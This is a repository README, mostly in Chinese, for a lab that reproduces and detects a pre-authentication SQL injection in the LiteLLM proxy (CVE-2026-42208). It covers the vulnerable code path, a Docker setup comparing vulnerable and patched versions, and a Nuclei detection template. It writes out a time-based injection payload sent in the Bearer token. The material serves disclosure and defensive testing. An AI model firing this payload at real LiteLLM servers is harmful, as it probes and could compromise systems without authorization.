HAERIN-L/poc_cve-2026-42208

# CVE-2026-42208 — LiteLLM Pre-Authentication SQL Injection 用于复现和检测 **CVE-2026-42208** 的实验环境，这是 LiteLLM 中一个严重的 Pre-Authentication SQL 注入漏洞，未经处理的 Bearer token 被直接传入原始 PostgreSQL 查询中。 ## 漏洞概述 | 字段 | 详情 | |-------|---------| | CVE ID | CVE-2026-42208 | | GHSA | [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) | | CVSS | 9.3 (严重) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` | | 受影响版本 | >= 1.81.16, < 1.83.7 | | 已修复 | v1.83.7 (参数化查询) | | CWE | CWE-89 (SQL Injection) | ### 根本原因 ``` Vulnerable (v1.83.6): POST /v1/chat/completions Authorization: Bearer ← payload does NOT start with "sk-" → api_key.startswith("sk-") assertion fails (utils.py:1189) → caught by except Exception (utils.py:1560) → _handle_authentication_error(api_key=RAW_PAYLOAD) → _enrich_failure_metadata_with_key_info() → get_data(token=RAW_PAYLOAD, table_name="combined_view") → SQL: WHERE v.token = '{payload}' ← injection Patched (v1.83.7): Same request path, but: → get_data(token=hashed_token, ...) → SQL: WHERE v.token = $1 ← parameterized, no injection ``` ### 攻击前提条件 | # | 条件 | 详情 | |---|-----------|---------| | 1 | 受影响的 LiteLLM 版本 | >= 1.81.16, < 1.83.7 | | 2 | PostgreSQL 后端 | SQLite 部署不受影响 | | 3 | 无需身份验证 | Pre-auth；无需任何凭据 | | 4 | VerificationToken 中 ≥1 行 | pg_sleep 仅按行触发；空表 = 无延迟 | ## 实验架构 ``` Host Machine ├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE) │ Docker: litellm-db-vuln (PostgreSQL 15) └── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PATCHED) Docker: litellm-db-patched (PostgreSQL 15) ``` ## 前置条件 | 工具 | 安装 | |------|---------| | [Docker Desktop](https://www.docker.com/) | docker.com | | [nuclei](https://github.com/projectdiscovery/nuclei) | `brew install nuclei` | | curl, python3 | macOS 上预装 | ## 运行方式 ### 第 1 步 — 设置实验环境 ``` bash scripts/01-setup.sh ``` 完成后： ``` ══════════════════════════════════════════════════════ Lab ready! Vulnerable (v1.83.6-nightly) : http://localhost:8010 Patched (v1.83.7-stable) : http://localhost:8011 Master Key : sk-lab-master-key Next: bash scripts/02-exploit.sh ══════════════════════════════════════════════════════ ``` ### 第 2 步 — 触发 CVE ``` bash scripts/02-exploit.sh ``` **预期输出 — 易受攻击 (v1.83.6-nightly)：** ``` ── Vulnerable (v1.83.6-nightly, port 8010) ── Baseline : 0.031s Injection : 6.062s (HTTP 401) Delta : +6.031s ⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE) ``` **预期输出 — 已修复 (v1.83.7-stable)：** ``` ── Patched (v1.83.7-stable, port 8011) ── Baseline : 0.028s Injection : 0.029s (HTTP 401) Delta : +0.001s ✓ RESULT: No significant delay — injection not executed (PATCHED) ``` ### 第 3 步 — Nuclei 检测 ``` # 易受攻击的实例 → 应产生 [critical] 发现 nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010 # 已修补的实例 → 不应产生任何发现 nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011 ``` **易受攻击 (v1.83.6-nightly)：**  **已修复 (v1.83.7-stable)：**  ### 第 4 步 — 清理环境 ``` bash scripts/99-teardown.sh ``` ## 目录结构 ``` litellm-cve-2026-42208/ ├── README.md ├── VULNERABILITY_ANALYSIS.md # Code-level analysis (English) ├── LAB_SETUP_GUIDE.md # Lab setup guide (English) ├── NUCLEI_TEMPLATE_GUIDE.md # Nuclei template design (English) ├── docker-compose.yaml │ ├── REPORT/ # Korean reports │ ├── Vulnerability_Analysis_KR.md │ ├── LAB_REPORT_KR.md │ └── Nuclei_Template_Report_KR.md │ ├── nuclei/ │ └── CVE-2026-42208.yaml # Nuclei detection template │ └── scripts/ ├── 01-setup.sh # Start containers, create seed key ├── 02-exploit.sh # PoC: timing-based injection proof └── 99-teardown.sh # Stop and remove all lab resources ``` ## Nuclei 模板检测逻辑 ``` Step 1 GET /health/liveliness → match "I am alive" in body → confirms target is a LiteLLM instance Step 2 POST /v1/chat/completions Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL -- Matchers (AND — all must pass): status == 401 eliminates 504/502 false positives body contains "auth_error" OR "Authentication Error" confirms LiteLLM auth path, not a proxy duration >= 5 pg_sleep(6) fired → injection confirmed ``` 防止误报： - `status == 401` 排除了来自上游超时 (504) 和网关错误 (502) 的响应 - Body 关键字匹配确认 401 来自 LiteLLM 的身份验证处理，而不是 WAF 或代理 - `duration >= 5` 足够高，可以排除网络抖动（基准为 ≤0.5s） ## 参考 - [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) - [NVD — CVE-2026-42208](https://nvd.nist.gov/vuln/detail/CVE-2026-42208) - [Sysdig 分析](https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/)

标签：CISA项目, Docker, LiteLLM, PostgreSQL, 安全测试, 安全防御评估, 攻击性安全, 测试用例, 漏洞复现环境, 版权保护, 请求拦截, 逆向工具